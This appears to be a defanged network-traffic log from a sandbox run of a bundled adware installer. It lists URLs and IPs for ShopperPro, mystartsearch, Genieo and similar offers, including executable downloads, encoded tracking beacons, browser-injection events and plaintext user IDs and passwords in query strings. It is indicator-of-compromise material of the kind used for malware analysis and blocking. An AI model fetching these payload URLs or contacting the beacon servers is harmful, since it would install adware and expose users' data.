hxxp://rep.shopper-pro.com/app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnMeI11IItJtH qboIc745er7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ L5Vl zZOUnYFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvwdAUHLivG 9NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0F584k5IsGIppq73FZdDH/8= 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=s5Ydxb c7o2FMsyJppApAIxXl6h7wlThEIs4DrglSnAicvsFwQStENB87jgWTbK//EmjUQkbJhFrrrM5a8Kia0wfgkHUK1zI/ gB722AqX5aF84eV9NpDXLGlxzOinS0OuK88aOgsu0ba7WojkCGp Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HoVB3OFhD7qsTI0nPf/K/h7yOEog NNy6LA== 173.239.4.105
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html 54.230.202.95
hxxp://d2wy0yopxw6nne.cloudfront.net/affiliates/filesfrog/eula.html 54.230.200.21
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=406695088&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Installer_Init&utmht=1423886294933&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=199995249&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d4ekdi381yoqv.cloudfront.net/affiliates/filesfrog/eula.html 54.230.202.95
hxxp://212.143.22.213/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://rep.shopper-pro.com/app/ping.ashx?e=NEjPoAxksx3HiNdSCLSbR8qE4UfJCi9fHjchdSi0RQ3VSkBwYPm MybAHEhoDk4RCMJFGbZT97lIYTGpbiqfvFt82 SNOJfk Qi34DV81hlm5LT87ehXajfk5LsCkxZTSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjjBV foZFcFJlJVRw8VSypsqwZwxAX4ff 173.239.4.105
hxxp://212.143.22.213/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1
hxxp://d2wy0yopxw6nne.cloudfront.net/mirror/mystartsearch/default/setup.exe 54.230.200.21
hxxp://d2wy0yopxw6nne.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.230.200.21
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1 212.143.22.119
hxxp://rep.shopper-pro.com/app/ping.ashx?e=DNkDj dFVmAfAxEXghvnLKarWOV6aKJSTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU39SgIg44p4zUb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbLuI3LPJ2qO62XevNeS4vezffbwpk5Gf9jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0VmqJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423s0cbRhisxVkFHdk/gnZ pY= 173.239.4.105
hxxp://online.speedbit.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList= 212.143.22.119
hxxp://online.speedbit.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1 212.143.22.119
hxxp://s3-2-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1 212.143.22.119
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423886297&SBPIDS=1 212.143.22.119
hxxp://rep.shopper-pro.com/app/ping.ashx?e=qIQu8 l0/f3HiNdSCLSbRzNQ327oSemc3RDD4M2MKnlkNeKJ xgctR/BbyLwbpRWS4NlvEo3Po3fHDEhjsU1jmbktPzt6Fdq8aHXnj8PuXHIahPQTC7hQpKni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr 5wqQtZePiPscQdvIcPTBjo0SbHGEDLI 3LHIFTI8ANKiX9alU/YH9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq/OW74nu26uk8p7C9xhBPUx8TXocUgaG55dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeB/Xp7hpz9nmjzI9BxDSNCg== 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=s5Ydxb c7o0bk7XUyXGZ5seI11IItJtHtRYCWMbOXNDdEMPgzYwqeWQ14on7GBy10Z2od4/JytiUTOMPdFXY/7OjtqelOAq5S5Zh8zqLOZ9ZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6WwH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdxaTTmY/LLPy7V1/PFrjZFZGoCwBRvueP7OUq27b2mrT573fGVhqBe Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S2UwQxN4YQsjeo5cv5pNmp8fl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7Z45nHPfvJZu0FscvLmfeEU= 173.239.4.105
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886310&SBPIDS=1 212.143.22.119
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=862233&mode=nolsp 107.20.238.80
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=864229&mode=nolsp 107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eFCD8T/coiffLKKeESUbyWrXo tCnzTysXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2ecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhy/5h5mk4MLUvgTj4recZvqjqwYrUBZupSK5Npo64WvnAOPNnWV9jDGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2ARXvE/0UwxiIR1sKxPFdTdiKBXSOghe2a3NQFKTd3L/Kt8x6kEY4pNtaXj6719Hoc6Hozo4QbpbsS34YoJGU6w= 173.239.4.105
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.8521017426330562
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.3060995307041733
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.04010042499023647
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886358&SBPIDS=1 212.143.22.119
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE 107.20.238.80
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE 107.20.238.80
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1 107.20.238.80
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js 107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2v0SNuZrMFxPNjxRBLtb42 /IPEjMJy2t8f6YpiR28IQ9XpMu3JNONKN/VUSdNXbXPRZ YLgWFXz8e7Ih8tXhEb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbLuI3LPJ2qO62XevNeS4vezffbwpk5Gf9jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0VmqJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423s0cbRhisxVkfKwlC2TeCg7lnoGCEF1II Pro5Z6G5OF 173.239.4.105
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg 107.20.238.80
hxxp://test.youtubeaccelerator.com/googleanalytics.js 107.20.238.80
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png 107.20.238.80
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js 94.31.29.248
hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Ewsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=IF2Ewsmtycl
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js 207.46.194.8
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=IF2Ewsmtycl&name=ShopperPro
hxxp://n4xkllm8-su78sj1t.netdna-ssl.com/app/t.ashx?uid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGFhZDU5YzExLTcxYmYtNGZkMS04ZmNmLTRlZDZmMmU0YWVlMCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423886360&aff=JSsmtycl&ver=2.5.8305.1502&usid=2858020935-2156992550-3658131804 198.232.124.192
hxxp://n4xkllm8-su78sj1t.netdna-ssl.com/app/t.ashx?uid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGFhZDU5YzExLTcxYmYtNGZkMS04ZmNmLTRlZDZmMmU0YWVlMCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423886360&aff=smtycl&ver=2.5.8305.1502&usid=2858020935-2156992550-3658131804 198.232.124.192
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF2EwJSsmtycl&name=ShopperPro
hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2EwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=iF2EwJSsmtycl
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif 107.20.238.80
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1f08128fe2364792
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?de5b477e37d74a8b
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1423886361816&cv=7&fst=1423886361816&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1683&u_ah=857&u_aw=1683&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&0.5691190955500126
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.8073159998251204
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&0.08536826518128781
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?93278cc0b8d00510
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=4&index_in_screen=1&index_in_session=4&0.5368514700020851
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&0.6555264512590716
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1176096904&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Offer_Accepted&utmht=1423886401533&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://70.186.131.141/mg?alpha=flMqVS5hHR8jOXguBX8hQRpoRisgQC5pbgVed1JwK1cHA2s9bH0uQgljQid4Kk0yCVt/IllTbmVdZng8ewJLU15mUWs/Ky0LTVl6FAAFbyE8TywEcmhWfzQuCD0oCjJ4AnZeKysvKj5AfBE2U38iRS8AUn4zHRRhIQg7CH0qEAsEVRBRYkwoJQo6WnlwWV47JjhKOlk0ZVVpfHBbMClPfiQvHBIH
hxxp://70.186.131.141/fp?alpha=Ej1bUW5PNTltcUxMdHthE3kIXG4SYU0gLzU8Gk4yFSlWUSgQTFlScmQLQF83UyJXBRUPTzdUJBNKDg18Cm4hJxh/SRpPbDJoTEJ4N2kgXHFRPFgdMAUlDCVrbFNbE3sXaRpFakJHUi4CFXpHSjxILlYFERNDNVcxDzsKD25FK3lcfgF4SA89XmRLRD86LStufAImTQlgFDAHPW5sQ10WbxZlF0BsV0YONwQSb0BeL08oTlJDAh9hRX5TNmpVJ0I2fhkIGGpKFTYcPRIDYjt+PUMIJDcPQmYJOg4sb2RVWRFkRS9bSgweHw94R1NvMwJpG3UKUVB8BzZaLwo8CDduUi1+BRUOOB88bDdkS0kzZzRfImhVIVUdMA0/CTBpEVdbFHsVb3E2HzNjORlcZ2cd
hxxp://70.186.131.141/if?alpha=FTkjUDhBYFl3d1hGDHo3FH1wXTgVZS94NSAKN0F9R2VpF30ASEB5E1UoaicpCTl/QxFXNhlfeAk+dxIuEnJeU1B5OWNJP0xzbBZgKGg6fWcXJGBQckBrey5NESNVFSwbdXZPPEdYJyRRH2ZOUmlNMiADMhVMO1F4DU57DThFP1IzFi5nPTVgHSFODDE1WhJnfgR9M1wiDj9gajVhVyAXOhNqYUc+XkchJFMWcykCPB9dZFpJTBoFEiZWfScaekU6LRIRHTZgTCBEezxXbWknVDg/VSQzVjFcQCl/NQY0N01nVyE/EzAnHH1yCVA4I0ZvTTJ0XAADEA4UL0syD1V9UjMcDxg/KwYVYBA6chZ9bik1fGUBcGZCPVxiJ3AoHUcxVHFRKyYZY1BPMyBIFmU4UGlIP2VQBlMWHgdqSW4hVz4afF5OTm1kIhBvGjI4IDM+ZQx9Ykc9QF89R2kiPFsnBmVHZwp+IQAwRFN9JBYaMikHL0QmJhlFFU1bDysEP3IGKxBmWlZEeUlrTj5OYTBDOS00M0N9BmdwHXRlQTF9ejZHR0tmVy0uGi0jVUBVNW5rSw8qEj9SUAJMHBhgLjI4Ym0+
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&0.911761622721051
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://65.255.35.150/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en
hxxp://www.inipegcc.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f 50.23.120.56
hxxp://www.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip 50.23.120.56
hxxp://65.255.35.150/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,25
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=267123711_198339_B48A115F 184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.regok 65.255.35.142
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9 173.239.4.105
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com/ 173.194.113.211
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=SuperFish 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=GoobzoInfo 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=JollyWallet 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=GeneralInjector 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=PriceGong_DealPly 173.239.4.105
hxxp://www.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu8we_84CgDA 173.194.113.215
